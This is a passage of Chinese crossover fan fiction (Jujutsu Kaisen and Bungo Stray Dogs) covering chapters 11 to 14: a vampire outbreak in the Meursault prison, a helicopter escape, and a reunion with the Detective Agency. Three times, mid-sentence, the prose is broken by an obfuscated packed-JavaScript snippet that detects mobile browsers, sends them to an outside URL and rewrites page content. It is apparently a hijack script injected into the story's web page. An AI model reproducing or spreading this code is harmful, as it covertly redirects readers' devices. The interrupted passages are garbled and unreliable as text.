夏油杰表情严肃,下意识护住手无缚鸡之力的太宰治,召唤出三分之一的咒灵填满走廊,他转头问:“根据你之前说的,这里墙壁至少有一米多厚,但我听到非常清晰的脚步,究竟有多少人过来了?” 太宰也在听,他绕开夏油杰的手臂,整个人半趴在墙上,将耳朵贴在上面,不仅听到声音,手指还在金属墙壁上感受到高强度同频导致的轻微震动。 他缓缓转头,表情凝重地开口。 “大概是,整个监狱的人数吧。” 11. 第 11 章 夏油杰火速又加了两层帐。 他结界课学得不错,夏油杰不比自幼学习咒术知识的挚友,受限于环境,他虽然从小降祓咒灵,磨练出高强的战斗反应,却对反转术式、结界式神、领域束缚等常识一概不知。 其实太宰提过的式神当然也在高专授课范围内,不过缺点太多,需要媒介,容易被人抢夺控制权。 而他的咒灵操术千年难得一遇,又是上位替代,所以夏油杰简单了解下概念就收手不学,还真不知道普通式神使会怎么做。 太宰治见到他刚才念念有词的样子,好奇问:“布置帐必须用咒语?你不能刷刷刷的搞完吗?” 他边说边比划手势,做出枪击一样的姿势。 夏油杰扒拉几下头发,后悔没带头绳,闻言没好气地说:“不用也行,但咒语和手势能引导咒力运转,发挥会更好。” “哦。”太宰治默默盘算着咒力两个字。 这种名词一般代表着力量来源,典型代表是风力、水力、异能力这些现实里拥有的东西,要是离谱点,把幻想设定算上,魔力法力元素力也可以包含在内。 夏油杰语气自然地说出‘咒力’,说明这是他体内的能量源头。 被念叨的当事人警觉转头:“你不会又在认为我是阴阳师吧?” 太宰:“……” 他看上去是什么很冥顽不灵的蠢货吗? 他初看纸条时确实下意识把咒术师和阴阳师联系在一起,因为历史上阴阳师施展的神鬼手段就被人称为咒术,而且表现出来的能力跟夏油杰差不多。 但逻辑一直隐隐约约告诉太宰哪里不对劲,所以他才故意在路上问东问西,让夏油杰忍无可忍,亲自否决了他的猜测。 太宰立刻为自己的智商正名。 “通过密闭门需要密码,输错彻底锁死,六小时重置一次,不过这点不用管。” 他笑容爽朗,好像害得越狱变艰难的罪魁祸首不是他一样:“因为我光明正大的越狱行为,为了防范我的脑子,默尔索三十秒前刚换了新密码。” 夏油杰没理会他的炫耀,他陷入深思:“为了防止被审问,不可能所有部队都知道密码。” 太宰打了个响指:“对,这说明不只是特殊部队,连中高层狱警和监控室里的人也沦陷了。” 他指了指脑子,“而且是有自主思考能力的傀儡。” “说实话,这种傀儡我迄今为止只见过一个,那是个相当棘手的敌人,但现在,我们要面对一群。”太宰语气低沉下来。 夏油杰平静指出漏洞:“你觉得棘手的是操纵傀儡的人,傀儡这种东西,无论有多少个,都是不堪一击的乌合之众。” 太宰瞬间变脸:“你这人真不好玩。” 说话间,背对着他的密闭门从中间打开,奇怪的嘶吼声从中传来,身穿默尔索统一制服的特殊部队完全不复刚才的精英状态,眼珠染上黑翳,长长的尖牙探出来,四肢仿佛不受控制地自然垂落,拖着双腿,整齐划一地向这里走来。 太宰转头,露出原来如此的表情。 “果然,跟我猜测的第六条预案重合了,是吸——” 夏油杰倒吸一口凉气,“丧尸病毒!生化危机这部片子我以前追过!” 刚准备说吸血鬼的太宰治猛地卡住了。 他震惊扭头:“你瞎了吗?这明明是吸血鬼!!” 夏油杰指着在帐外游荡的丧尸群体,尽量委婉地问道:“我以为吸血鬼会更美观一点?而且这群人也没有你说的智能,我看到有人在流口水。” “这是因为背后的操纵人给他们下达的命令,是将全部精力放在战斗上,无关紧要的肌肉没必要控制。” 太宰指着散开的人群,“你看,他们知道我们还在原地,只是躲藏起来,所以想用人数填充走廊,等到那时,有空缺的地方就是我们的藏身之地。” 他下达定论,“不要小看默尔索,作为最严苛的异能监狱,他们没有超越者级别的强大异能者,却有着丰富的追踪经验,等找到藏身地,布里亚柔斯就该来了,那家伙是监狱里的最强特务护卫官。” 当然了,肯定没有中原中也强。 其实中原中也有成为超越者的潜质,他迎战过两位法国超越者,战斗经验丰富,可惜身为港口黑手党干部,特务科就算知道他潜力非凡,也会装作不存在,免得让黑手党在横滨更猖獗。 “布里亚柔斯?希腊神话里的大地母神盖亚的儿子?”夏油杰回忆自己以前为了咒灵看过的各地神话,“我记得盖亚和天空之神生下过泰坦巨人、独眼巨人和百臂巨人,布里亚柔斯是百臂巨人之一。” 太宰治恍然大悟,难怪感觉忘了点什么,“对,我忘记告诉你了,特殊部队的代号就叫百臂巨人,总之趁着布里亚柔斯还没来,快跑吧,打起来太浪费时间了。” 夏油杰压力骤增。 跟异能者布里亚柔斯无关,他一想到要带太宰治乘坐咒灵出海,就觉得不行。 为了自己和咒灵的安危,还是坐直升机吧。 太宰似乎知道他在想什么,下一秒就提醒道:“直升机在一楼监狱外,我们还是得按原计划出去。” 他示意夏油杰小心外面的吸血鬼,“这群家伙跟你说的丧尸差不多,被咬到会感染成同类。” “那就走空路。”夏油杰果断道,“这条走廊足够高,我们小心点避开所有人,从他们头顶飞出去。” 太宰治毫不吝啬地夸赞:“不错的提议。” 接着指出缺点:“你忘记一点,哪怕结界能隐藏咱们两个人的身影,但他们有智慧,熟练的特工对气流风向非常敏感。” 夏油杰露出虚心受教的表情。 “你得让他们误以为咱们两人从别的地方离开,忽视这点异常。” 太宰掏出刚才拿过的内部联络器,笑容狡猾地晃了晃:“你看,我就说,迟早会用到它的时候。” 他干咳两声,把嗓音改得更加低沉,然后打开联络器。 再说出口的声音就彻底变了个模样,带着浓浓的欧洲口音,语气急促而虚弱:“操纵台操纵台,囚犯们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258688|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到负四层,后面跟着疑似被控制的警卫,请求支援、请求——” 后面戛然而止,太宰提前掐断通讯,营造出被敌人打断的紧迫气氛。 然后他把联络器扔给夏油杰,眼神示意他毁灭物证,“好了,现在吸血鬼知道我们去负四层,刚清醒的警卫听到同事被控制的消息,趁着他们内战,咱俩快走!” 夏油杰叫出咒灵吃掉联络器,免得被操纵台追踪到信号。 他忍不住追问:“你早就猜到会有现在的情况?” 太宰想了想:“我肯定考虑过其他情况,假如他们中了认知改变的异能,联络器可以帮我伪装成高层下达命令。如果是精神操纵,联络器会让我锁定下达命令的异能者在哪。” 他叹气:“吸血鬼是我最不想面对的预案,这代表被封印的世界级灾害之一,不死公爵布拉姆出来了,他以前因为异能基因变异,成为吸血鬼始祖,可以感染人类做眷属。” 天人五衰的第四位成员得到确认。 不死公爵,布拉姆。 被误导的吸血鬼顺着咒灵刚才轰开的大洞,源源不断地往下跳,刚清醒的特殊部队闻声出现在对面。 看到状态诡异的同事,两方剑拔弩张,气氛紧张。 太宰盯着下面僵持的两个队伍,貌似不经意地提起:“感谢当初没下死手的自己吧,夏油君,不然谁会用性命来帮我们抵挡这波吸血鬼呢。” 底下刚清醒过来的狱警独木难支,除了这些最开始就被夏油杰打晕的人,整个默尔索都沦陷了。 不知情的他们拿出联络器,声嘶力竭地向上级汇报情况,可惜频道内无人回应。 他们又试图联系欧洲本部,但信号只有一楼能传出去,地下成为与世隔绝的孤岛。 “指挥台指挥台!该死,估计也沦陷了!我们必须有人用无线电联系钟塔侍从!” 其中一个疑似队长的狱警指挥,决定殊死一搏。 “你们谁速度最快,现在就去一楼,不用管其他同伴,先传消息出去!别忘了八年前那场大灾难,必须把吸血鬼控制在岛上!” 太宰仿佛听腻了似的转头。 他双手插兜,语气冷漠:“走吧,现在是最好时机,幕后者不会眼睁睁看着吸血鬼的消息暴露,可惜他们能不能变回人类就不知道了。” “等我两分钟。”夏油杰烦躁地开口。 他抓了抓披散在肩膀上的头发,走出帐,仿佛解释似的主动开口:“反正咱们要去一楼,而且幕后主使想同化整个监狱,我不能放任他们的计划成功。” 说完,他带着其他咒灵,头也不回地冲出去。 被拒绝的太宰丝毫不恼,他倚靠墙壁,低声呢喃:“还行,有救,这不是完全不讨厌普通人吗……亦或者说,他口中值得讨厌的普通人另有其人?” 难道是跟夏油杰无法调查的背景有关? 咒术师?东京高专? “算了。”他伸了个懒腰,自言自语,“不想动脑,跟魔人对抗就够累了,等出去让乱步先生看看吧。” 12. 第 12 章 布里亚柔斯最后还是来了,以吸血鬼化的身份。 他是个长相凶恶,穿着作战服的青年,鼻梁上横着一道长长的伤疤,视网膜蒙上黑色阴翳,跟其他吸血鬼不同,他的举止跟人类一样,面对夏油杰看不见的咒灵攻击露出思考表情。 “那是防卫官?!”刚获救的狱警还没震惊囚犯回来帮自己,就被这一认知打击到,烦躁咬牙。 “究竟发生了什么?” 夏油杰下意识观察对方,思忖着:“是手上的牙印吧,他遇到感染后伪装成正常人的同胞,下意识抬手制止对方的突然袭击,却被咬伤。” 很容易猜到,根据刚才狱警的对话内容,这个世界的人都知道吸血鬼异能,如果布里亚柔斯最开始遇见的就是动作僵硬的吸血鬼,肯定要多远离多远。 他试探性发起攻击,咒灵从地面冒出吞掉敌人,虽然普通人看不见,但二级咒灵拥有半实半虚的凝实躯体,布里亚柔斯飘在半空中,动作挣扎,撕扯脖颈前面的空气的举动仿佛在抓一团凝胶,稍微用力就从指缝中陷进去。 布里亚柔斯停下来几秒,突然技巧性地撕开咒灵身躯,闪现到夏油杰眼前。 夏油杰立刻后退,抬手抵挡住布里亚柔斯的突脸袭击,他在心里暗暗咂舌,这力道快比很多一级咒术师的咒力增幅都要强了。 旁边的狱警知道此刻不是计较越狱的时刻,立刻补充资料:“吸血鬼能大幅度增强人的体魄,迅速修复伤口,不计生死,却有思考能力和自我意识。” 他露出苦笑。 “但这份自我基于操纵者的命令,操纵者希望让他们思考,他们才能思考。” 夏油杰看了他一眼,叫出咒灵搭把手,“这是好消息,说明幕后主使只感染了特殊部队,布里亚柔斯是他最强大的棋子,其他身负异能的罪犯还好好关在里面。” 狱警接住飘过来的重机枪,扣下扳机,“应该有人及时启动了应急程序。” “那是个没有任何口令措施的按钮,无论谁按下,牢房都会瞬间锁定,在得到联合国和钟塔侍从的双重口令前,最高级别警备长也无法打开。” 听到好几次这个异能组织的夏油杰忍不住问:“钟塔侍从很厉害?” 狱警奇怪地看向他,换了一挺重机枪,“当然不是,除了钟塔侍从,还有其他各国的异能组织不相上下,但这个月轮到英国担任安理会轮值主席了啊。” ……本以为是强弱制衡,没想到是社会现实。 夏油杰常年被同化的大脑都清醒不少,总算有种自己没与社会脱节的实感。 在法外之地咒术界呆久了,他满脑子只有御三家和总监会的名言名句,概括起来就是:弱者不配出生,强者有权支配一切。 骤然听见这么现实的话题,他呆了几秒,抓住机会的布里亚柔斯瞬间欺身而上,感受到流风的夏油杰下意识防御,他绞住敌人手臂,用肩膀抵住,当做支撑来了个过肩翻。 布里亚柔斯顺势以脚划地,同时右手从胸前掏出一把枪,对准夏油杰的脑袋射击。 夏油杰反应迅速,立刻召唤出体型庞大的咒灵填满走廊。 哪怕以前很少面对热武器,但有过保护人因中弹而死的教训,再加上默尔索监狱里被迫耳熏目染,做出越狱决定的那刻,夏油杰就设想过类似的情况。 不过耽误这几秒钟,布里亚柔斯已经起来了,跟空气中看不见的咒灵缠斗。 身后的警卫有序阻拦剩余的吸血鬼军队,夏油杰还有闲心让咒灵帮他们几把,警卫队长突突完扔下哑火的空枪,对身边的人招手耳语几句,然后转头冲夏油杰大喊:“把护卫官引到北边的房间里!” 夏油杰听完,干脆利落引爆咒灵,产生的大爆炸让他不得不向旁边躲避。 他死死用手扒住门框顶端,不肯进去,脚一跺地,整个身子倒转过来躲开冲击波,没等落地,夏油杰冷不丁出现在眼前,包裹着咒力的拳头在他视网膜里越扩越大。 布里亚柔斯下意识抵挡,下一秒,他飞了进去。 夏油杰见此情景耸了耸肩。 “忘记告诉你了。”他把术式换成异能者的说辞,“虽然我是远程操纵系,但我特长和爱好是格斗。” 夏油杰这辈子遇见过的唯一能用体术打赢自己的人,就是伏黑甚尔,如果单纯比拼握力的话,连他挚友五条悟都略逊一筹。 房间墙壁应声落下,刚才离开的警卫跑回来,气喘吁吁:“关上了,我还特意瞎输了一次密码,里面的人输入正确指令也无法打开。” “剩下的吸血鬼不足为惧,我带你们离开。”夏油杰让其他能飞的咒灵载着仅剩的警卫到负三楼随便一个安静的地方放下,接着自己跳上去,找到帐里无聊发呆的太宰。 太宰抱怨:“我说的吧,遇见他很耽误时间!让你不听我的话!” 周围的警卫被他用咒灵送走,解除帐也没关系,他看着太宰走出来,非常纳闷:“你怎么比我还着急?” “天人五衰的首领神威制定过针对侦探社的暗杀计划,乱步先生将计划顺势更改救出所有人。” 太宰先解释一下夏油杰不知道的内情,目光深深地看着他,“但被救走的人里还有两个不属于侦探社的人。” 夏油杰的笑容一下子拉平,“菜菜子和美美子。” “他会通过这个举动,猜出我们俩个合作的事,感染整个监狱就是他做出的应对措施,尽可能拖延我们两个留在默尔索。” 太宰脸色阴沉,“我猜,他下一步会动用导弹,轰炸默尔索。” 默尔索选用的建造材料让它不会轻易被炸穿,但这里是岛屿上,当量太多会让岛屿沉没,到时候别说吸血鬼了,除了厨房里的活鱼谁都逃不掉。 他下达定论:“我们必须尽快离开。” “那这里的其他活人……?”夏油杰反倒犹豫起来。 太宰哼笑:“你以为应急设备是谁启动的,钟塔侍从可不是只会毁灭的组织,假如全监狱的高危罪犯和警卫都被感染,他们绝对会毫不留情地同意抛弃这里的策略,但我提前摁下按钮,现在收到请求动用导弹的汇报,他们只会犹豫。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258689|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “反正囚犯都被关在牢房里,只要三天内解决吸血鬼事件,重新派遣警卫,那不就相当于只发生了一场意外吗。” 夏油杰听懂了他的画外音:“所以我们必须趁此机会立即离开,否则神威为了杀死我们,会想其他办法,对这座岛动手。” 想明白这件事,他不再耽搁,立刻打通负三层到一楼间的所有天花板,之前被他送走的警卫感受到地动天摇,纷纷跑过来。 看到他们两人光明正大的举动,这群人张了张嘴,心里别扭的厉害,实在不知道该说什么。 “……要不,你们两个上去时带我们一起?” 最后,那个警卫队长如此说道。 太宰主动交涉,“好啊,作为交换,把打开直升机停车间的密码告诉我们吧。” “我可以把权限卡给你,”警卫视死如归地耿直说道,“但你们会被操纵台打下来,就算运气好,安全的飞出去,我也会把越狱这事告诉欧洲官方,天人五衰的阴谋必败无疑。”他最后一句说的斩钉截铁。 太宰装模作样地笑嘻嘻重复:“没错没错,天人五衰的阴谋必败无疑。” 身边凿天花板的夏油杰听太宰逗傻子玩,忍笑放下手,新的吸血鬼军队源源不断被声音吸引,夏油杰收回跟他们打斗的咒灵,先送警卫离开。 然后转头看向太宰,“玻璃片被你放哪了?” “你不在,没人跟我聊天,我闲着无聊就把它切割一下粘在脚底了。”太宰表情无辜,手里抛着权限卡一扔一接,走到他身边催促道,“先去找直升机。” 夏油杰感到奇怪却也无所谓,他让鬼蝠鲼托着两人升上去,一路找到停放直升机的地方,太宰随便找了个顺眼的,把它彻彻底底检查一遍,油箱是满的,也没人塞炸弹。 他坐在驾驶位上,手拉操纵杆,整个人兴高采烈,情绪激动到不正常,可惜夏油杰没发现。 “坐好,我可做不到躲火箭/弹,防御交给你了。” 夏油杰在默默布置帐。 从视觉上的直升机消失了,可螺旋桨启动的气流依然存在,默尔索监狱对着空中发生攻击,凡是疑似撤离的地方都有密集炸弹,夏油杰用咒灵小心遮挡,免得冲击波影响到直升机。 他们两个硬生生在炮雨中飞了出去。 太宰侧头看到落日的黄昏,太阳余晖似橘似红,在波光粼粼的海面上拉得极长,他收回视线,按了下右手边的隔断台,露出隐藏式冰箱。 拿出沾着水汽的可乐,太宰扔给后面欣赏景色的夏油杰,自己则抽出底下的棕色玻璃瓶,随口道。 “你知道吗,在横滨,侦探社就代表一天中的黄昏。” 他说完启动辅助驾驶系统,转身拧开瓶盖,对着茫然的夏油杰碰了一下,声线清爽又开朗。 “来庆祝自由吧,干杯。” 夏油杰无意识喝了两口可乐,突然闻到浓郁的酒味,他表情骤变,“等等!你刚才喝的什么?还在驾驶直升机啊你个自杀狂!!!” 直升机晃晃悠悠地向着落日飞了出去。 13. 第 13 章 直升机油耗不比客机,坏消息是想直接开回去不太可能,太宰没办法直接回去,他一路向西,停在距离最近的墨西哥。 好消息是这地方非常乱,治安不佳,迫降两个多小时后才有警车姗姗来迟。 而此时的太宰治早就领着夏油杰换上新装扮,从本地黑幇手里买了两张假护照,坐上回去的飞机了。 等夏油杰踏上熟悉地面的时候,已经是第二天早上,机场熙熙攘攘拖着行李箱的乘客擦肩而过,各种语言的播报声不绝于耳。 他忍不住四处观察,自己叛逃的时间是零七年九月,许多新型科技蓄势待发,智能机刚刚成为一种趋势,只有半个手掌大小,带着笨重的home键,可附近乘客拿着的却是全屏手机,机场布局也比印象中要高科技。 “这里,我在这里。” 不远处一个陌生人招手。 太宰目标明确地向陌生人走去,夏油杰收回视线跟上,三人从特殊通道离开机场,坐上黑色的车辆离开。 太宰对着司机位置的陌生人抱怨:“为什么我们要坐港口黑手党的车啊!” “因为这是港口黑手党提供的专用通道。”司机羞涩地挠了挠头,取消异能,露出一张被通缉的学生脸,对方有着橘棕色头发和青涩的样貌,让夏油杰一下想起看过的资料。 武装侦探社的调查员,谷崎润一郎。 平时负责任务记录、跟踪监视、收集情报等工作,妹妹谷崎直美也是侦探社的事务员。 他礼貌点头回应。 谷崎其实对夏油杰的印象不错,不仅是他在监狱也不忘照顾两个妹妹,更感激他愿意对侦探社伸出援手,于是主动介绍起来:“这是我的异能,细雪,可以制造幻象,侦探社里我来接机最合适了。” 夏油杰下意识看向太宰。 奇怪,他的异能不是会抹消特殊能力吗? 毕竟不是本人的资料,谷崎面露为难,等看见太宰无所谓地点头,他才松了口气,笑容腼腆地解释道:“太宰先生只能消除自己触碰的异能,而我的细雪类似于投影,只要改变路人看到的景色就行。” 夏油杰懂了。 意思是避开太宰治本人,在他周围几厘米的地方制造投影。 纯黑色的商务车开到一处无人小路,谷崎重新发动异能,这辆车彻底消失在现实里,顺着小路一路开回横滨,在即将进入交界线前,谷崎转了个拐弯,向着起雾的森林驶去。 茂盛粗壮的树木近在眼前,车却没有停下,直接扎进树干里,身后很快恢复原样。 夏油杰立刻找到原型。 九又四分之三站。 “这是某种立体投影装置。”丝毫没察觉他在想什么的谷崎介绍道,“我没办法远距离维持异能,港口黑手党就把这个东西拿了过来。” “为了让投影更真实,森林里的雾气是人造水雾,不仅如此,等下还会有人过来把车辙和野草恢复原样,这次的危机,港口黑手党帮了太多忙。”他感慨道。 夏油杰评价:“听上去发生很多事。” “是啊,太多了。”谷崎感慨几句,打起精神,他不知道两人现在知道多少,干脆从头解释。 “我和贤治被港口黑手党收留,住在不远处的废弃村落的隐藏据点里,两小时前,乱步先生突然出现,身边带着侦探社的其他人,他让我去联系森首领,借用港口黑手党的名义将你们接回来。” “这个装置也是那时候布置的,防止猎犬追过来,把侦探社一网打尽。” 他把车停在废弃村庄的某扇屋门前,听到刹车声的侦探社成员陆陆续续走出来,每个人都完好无损,扛着砍刀的与谢野站在门口,打量两人四肢,满意地点了点头,把刀尖杵在地上。 太宰开门下车,抻了个懒腰,语气懒洋洋地转头对谷崎说:“现在不需要了,我们有了新助手,夏油君,快来表演一下你越狱时的那——” 话还没说完,中岛敦表情惊喜地飞身扑上来:“太宰先生!” 双胞胎紧随其后出现,衣服干净,头发整齐,完全看不出之前营养不良满是恐惧的样子,她们快步跑到夏油杰身边,紧紧抱住他不撒手,默不作声地流下眼泪哽咽。 夏油杰神色一下子温柔起来。 他蹲下来环抱住两个孩子,帮她们擦眼泪,然后又整理凌乱的衣袖,拍打后背,不停地轻声安慰:“我不走了,不要害怕,等事情解决完,我带你们去吃可丽饼。” 旁边即将窒息太宰治艰难伸出手,“先、先救我……我还要做心脏手术。” 这话一出,所有人都惊诧极了,中岛敦吓得顿时松手,生怕力道重点太宰就倒地不醒,与谢野快步走来,目光凝重,抓着他的脉搏直皱眉。 其他人顿时被这严肃的氛围感染,连夏油杰和双胞胎都看过来,等待医生下达诊断。 大概过去一分钟,与谢野奇怪地松开手,“消毒间和手术台等下就能布置下来,你怎么了,太宰?我没感觉你的脉搏跳动有问题。” 总算能呼吸的太宰默默远离激动的学生,“是默尔索监狱植入的监视装置,可以检测犯人的心跳血氧呼吸定位等情况,我虽然把自己和夏油君的定位信息删除,却没办法取出检测器,只能先回来再说。” 众人闻言神色缓和不少,赞同点头。 与谢野立刻拍板同意,“具体的事情等你们两个做完手术再聊。只是取出监测器的话,根本不用太长时间。” 然后他俩在集体汇合不到五分钟后被推进了手术间。 因为太宰过于棘手的异能,首先手术的是夏油杰。 他本人极其抗拒躺在手术台上任人宰割,但他既不会反转术式,也不愿意被与谢野直接剜出监视器再复活,只好僵硬着身子,抿着唇散发低气压,被打完麻药推进手术室。 江户川乱步从人群走过来,骄傲地掐着腰:“看到了吧,你们的哥哥活蹦乱跳着呢,名侦探从不说谎。” 双胞胎对视一眼,异口同声:“谢谢你们把夏油大人带回来!” 太宰坐在手术室的等待席,好奇打量起两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258690|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个发色不同的双胞胎,这两个小孩的性格跟他想象中不同。 其实本着有来有往的原则,太宰也看过默尔索收集到的夏油杰资料,他知道双胞胎四天前刚救出来,加上同行时夏油杰一路护鸡崽似的小心翼翼,他还以为双胞胎是胆小瑟缩的性子。 现在看来正好相反,因为常年被人打骂欺压,倒养成了无所畏惧的本能。 毕竟再惨也惨不过被同村人当妖怪囚禁。 双胞胎揪着江户川乱步的衣袖,急切询问手术后注意事项,一副势必要照顾好夏油大人的成熟做派。 太宰看着看着,不自觉地缅怀起过去。 他不喜欢孩子也不受孩子喜欢,却有一个养了许多小孩的好友,如果织田作还活着,侦探社逃亡之路肯定更加顺利,不会有这么多的波折。 江户川乱步忽然看过来,“对了,太宰,社长说集合时间推迟到晚上十一点,手术完你和夏油君好好休息,坡等下也要来,花袋还在他的小说里,估计没解开谜题被困住了,晚上还要你帮忙。” 太宰愣了下,露出真心的笑容,“哦…是吗,我知道了。” 织田作,看见了吗,他现在的生活还不错。 夏油杰很快走了出来,幸运的是,他不需要双胞胎照顾,昏迷前他终究同意了与谢野使用异能,现在感觉身体比进监狱前还要好,以前年纪小祓除诅咒时留下的暗伤都消失了,身体轻快许多。 他对着侦探社的其他人点了点头,牵着双胞胎礼貌道:“我还有些事情没处理,先回房间了,十分感谢你们这些天照顾菜菜子和美美子,如果有需要随时叫我。” 然后就出去了。 这个村庄偏僻无人,被废弃许多年,除了谷崎和贤治早早住在秘密据点里,侦探社其他人才到两个多小时,国木田独步和中岛敦撸起袖子收拾两个小时,勉强帮双胞胎姐妹收拾出一个房间,其他人住的地方还没整理。 作为被迫踏上逃亡路年纪最小的两个孩子,侦探社看见她们总带着莫名其妙的愧疚,认为是自己将两个小孩牵扯进来,看上去吓人的社长会从袖子里掏出零食,而是在太宰和夏油杰没回来之前,与谢野其实是在给她们两个检查身体,还写了份补充营养的清单,旁边的泉镜花会偷偷送出漫画和糖给予安慰。 美美子说:“他们真奇怪,居然让我和菜菜子藏起来,说什么如果有意外,没人知道我们跟侦探社有联系。” 菜菜子说:“我借用手机拍照,阻挠追兵,他们也没骂我和美美子是怪物,还说小孩子拿手机玩游戏就好,危险的事让大人来做。” 两人你一言我一语补充完这段经历。 夏油杰脸色柔和许多,对侦探社的好感无限拔高,“打扫卫生的事情不着急,等下我让咒灵去帮忙,我叫你们来,是想说一件事。” 他布下帐,认真地直视双胞胎眼睛。 “我们不在以前的世界了,现在不会有任何人知道你们咒术师的身份,他们只会觉得你们是异能者。”他温柔安慰,“不需要再害怕了。” 14. 第 14 章 简单讲了下穿越的情况,夏油杰就哄着两个双胞胎躺下睡觉,自己出去帮忙布置帐,为了防患于未然,他构建的是三层大型结界。 半晌,夏油杰略带疲惫地放下手,他这几天一直在奔波,揉了揉太阳穴,“结界从外到内分别对应了存在感减弱、拒绝所有武器、以及仅侦探社认可的成员进出的功能。” 最后一点还是考虑到他和港口黑手党这种特例,否则就直接设置成只有侦探社进出了。 其他成员原本正聚在一起复盘各自的经历,闻言好奇地仰头看天,他们对着头顶毫无变化的太阳震惊赞叹:“好方便的范围隐藏能力!” 夏油杰左看右看,少了个人,“太宰呢?” “他麻药还没过,睡觉呢。”与谢野晶子作为主治医师很有发言权,她看出夏油杰没有休息的想法,不赞同道,“你在飞机上没休息吧,不重要的事可以晚上说,需要我开点安眠药吗?” 夏油杰以前全国到处出差是常态,苦夏后整夜整夜辗转难眠,他不在乎地摆手,“我没关系,谢谢你们照顾菜菜子美美子,我想给她们买个新手机,以及其他防身的东西。” 侦探社回想起美美子拍照拦下警察的一幕,顿时了然且认同地点头,没错,是该多买几个。 国木田独步想了想:“手机不怎么方便,再加几个间谍相机吧,刚好我能制作,把它们伪装成领夹胸针和手串,一般人不会防范,等出去后再换成真的。” 夏油杰一下子没理解后面换成真的是何含义,还以为侦探社什么技能都会点,这种精细的东西也能手搓出来。 然后他就看到国木田独步撕下一张纸,唰唰写下伪装型间谍相机的名字,发动异能,记事纸变成其貌不扬的首饰。 “独步吟客,我的异能,只要不被太宰碰到,它跟真的没两样。” 国木田独步担心夏油杰误会,主动解释道。 夏油杰用咒力勾勒出里面的细节,再一次被里面的真实构造惊讶住了,他下意识向外联想,假如自己把咒具的基本外形和能力告诉国木田独步,他能复制出某些损坏的珍贵咒具吗? 比如说被折断的天逆鉾。 他陷进思绪里,一时间盯着间谍相机忘记回应,国木田独步以为他不满意,面对真正的大家长夏油杰,哪怕对方是个进狱系高中生,自认为牵扯到两个无辜孩子的国木田依然手足无措。 他尴尬地挠了挠脸颊,小声提议:“要不……我等下出门买个真的?” 反正爱伦坡和田山花袋马上到,原本他打算安排贤治接人,现在换成自己也没关系,顺便还能去横滨市里买点新情报。 总不能全靠港口黑手党的帮助。 国木田定下这次交换,开始绞尽脑汁为家长提供新的补偿:“想补回这几天落下的课程也没关系,我以前是数学老师,国文外语同样可以上手……”他念念叨叨起自己能办到的东西。 “不用,这些就可以了。” 夏油杰收起伪装型间谍相机,扬起以前经常展露现在却略微生疏的微笑,他熟练地安抚起成年人,“补习就拜托国木田先生了,她们两个接受的教育很少,需要从头学起。” 国木田独步松了口气,干脆利落地说:“没事,小学任务不多,捡着重点突击补习很快就能追上来,我保证,等到下次开学季,她们的入学成绩绝对是及格。” 简单聊了几句,总的来说是在侦探社明里暗里劝着注意身体的担忧中,夏油杰留下几只打扫卫生的咒灵,转身回到房间里。 他准备在客厅铺个榻榻米简单睡一会儿,惊讶看见不该出现的人坐在餐椅上。 太宰治换下手术病服,穿着条纹衬衫和沙色风衣,正耐心地往手臂上一层层缠新绷带,他完美收尾,放下袖口站起身得意地说:“我还醒着,惊喜吧!” 夏油杰下意识回头。 窗外的侦探社已经散了,国木田夹着记事本匆匆向村外走去,熟悉路的宫泽贤治带着中岛敦去厨房做饭,剩下大部分的人回去休息,只剩下泉镜花和蒙哥马利围在咒灵身边,试图观察。 在她们眼里,扭曲可怖的诅咒不存在,自动飞舞在空中扫地洗抹布的扫帚更像是以前读过的童话故事。 他听见泉镜花跃跃欲试:“你的异能房间也能自己打扫卫生吗?” 勉强算侦探社编外人员的蒙哥马利羞恼回应:“安妮和我的玩具房才不会变脏啦!” “如果叫夜叉白雪擦桌子,她会答应了?” “她会把桌子清理掉,彻底的,从物理意义上消失不见。” 太宰治顺着他的视线看去,“很幼稚的辩论,对吧,她们两个经历过的意外比普通人一辈子都多,被迫杀人,互相敌对,失败就被抛弃,拼尽性命发起最后一次反击,最后她们两个站在这里,讨论用异能打扫房间。” 夏油杰只当他有感而发,不解开口:“我以为你在昏迷,找我做什么?” 太宰治反问:“难道人做事必须有理由?我只是醒来后听到你们在交谈,发现你没去休息,就在这儿等你回来。” 夏油杰诚恳:“其他人我信,唯独你不一样。” 这可是在默尔索监狱里连环布局的家伙,他现在也不知道,太宰是怎么与外界沟通的,又如何确认费奥多尔的联络手段,以及天人五衰的下一步计划。 太宰自顾自倒了杯水,他没说谎,刚醒来就翻窗跑到这儿了。 他以前受伤的次数太多,森鸥外当首领后还不得不亲自操刀主持过几场手术,太宰对麻药有抗性,刚推出来不到五分钟下意识睁开眼,不愿意放任思维沉浸在麻木中。 